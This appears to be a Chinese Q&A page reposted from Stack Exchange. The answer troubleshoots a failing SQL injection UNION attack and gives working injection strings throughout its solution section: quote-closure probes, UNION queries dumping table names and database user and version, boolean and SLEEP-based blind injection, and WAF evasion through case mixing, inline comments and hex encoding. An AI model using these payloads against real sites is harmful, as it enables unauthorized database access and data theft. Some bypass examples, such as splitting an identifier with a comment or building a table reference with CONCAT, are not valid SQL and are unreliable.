为何SQL注入UNION攻击无法生效?求排查与解决方法
问题分析与解决建议
可能的原因
1. 注入点语法未正确闭合
你的注入语句默认参数是直接拼接到WHERE id = 111这类结构,但实际场景中参数可能被单引号/双引号/括号包裹。比如原查询是:
SELECT col1, col2, col3, col4 FROM your_table WHERE id = '111'
此时你的111 or 1=1 union ...会导致语法错误——单引号未闭合,整个SQL变成无效语句,UNION子句根本不会被执行。
2. WAF或数据库防护拦截
很多防护系统会检测information_schema、FROM这类敏感关键词,一旦识别就会拦截请求或篡改语句,直接导致带FROM的注入失效。
3. 数据库权限不足或系统表不可用
- 当前数据库用户可能没有
SELECT权限访问information_schema.tables,无法读取系统表数据; - 部分数据库(如MySQL 8.0特定配置、MariaDB部分版本)可能隐藏了
information_schema,或用其他系统表替代; - 如果目标不是MySQL(比如SQL Server、Oracle),
information_schema.tables本身就不是正确的系统表。
4. 盲注语句语法错误
你写的盲注语句存在多个问题:
- 子查询未加括号,且未限制返回行数(
SELECT table_name from information_schema.tables会返回多行,SUBSTRING无法处理); - 逻辑运算符错误:
111 or 1=1已经让整个WHERE条件为真,后续的0>...不会被执行,应该用AND替换or; SUBSTRING参数顺序或语法不符合目标数据库要求(不同数据库的字符串截取函数语法有差异)。
解决办法
针对UNION注入失效
确认注入点闭合方式
先测试参数的包裹类型:- 尝试
?parameter=111'--,若页面正常,说明参数被单引号包裹; - 尝试
?parameter=111"--,若页面正常,说明是双引号; - 尝试
?parameter=111)--,若页面正常,说明参数被括号包裹。
修正后的UNION语句示例(单引号包裹场景):
?parameter=111' UNION SELECT group_concat(table_name),2,3,4 FROM information_schema.tables WHERE table_schema=database()--- 尝试
绕过WAF拦截
- 大小写混淆:
FROM Information_Schema.Tables - 注释分割关键词:
FROM/**/information_schema.tables - 十六进制编码:将
database()的结果转十六进制,比如table_schema=0x64626E616D65(假设当前库名是dbname) - 替换系统表:SQL Server用
sys.tables,Oracle用all_tables,PostgreSQL用information_schema.tables但需调整语法。
- 大小写混淆:
验证用户权限
先执行简单的UNION查询确认权限:?parameter=111' UNION SELECT user(),version(),database(),4--若能返回当前用户、数据库版本,说明权限正常;否则需换其他方式。
针对盲注失效
修正盲注语法
以MySQL单引号包裹场景为例,正确的布尔盲注语句:?parameter=111' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 0,1),1,1)) > 64--解释:
LIMIT 0,1让子查询返回单行第一个表名;SUBSTRING(...,1,1)取表名的第一个字符;ASCII()转成ASCII码,和64(大写字母A的ASCII)比较;- 用
AND替代or,确保盲注结果影响整个WHERE条件。
尝试时间盲注
如果布尔盲注被拦截,用时间延迟判断结果:?parameter=111' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 0,1),1,1))>64,SLEEP(5),0)--若页面延迟5秒,说明条件为真;否则为假。
盲注关键词绕过
用大小写、注释、拼接方式绕过检测:?parameter=111' AND ASCII(SUBSTRING((SELECT table_name FROM info/**/rmation_schema.tables LIMIT 0,1),1,1)) > 64--或用
CONCAT拼接关键词:?parameter=111' AND ASCII(SUBSTRING((SELECT table_name FROM CONCAT('info','rmation_schema').tables LIMIT 0,1),1,1)) > 64--
内容的提问来源于stack exchange,提问作者P00
相关产品推荐
相关产品推荐

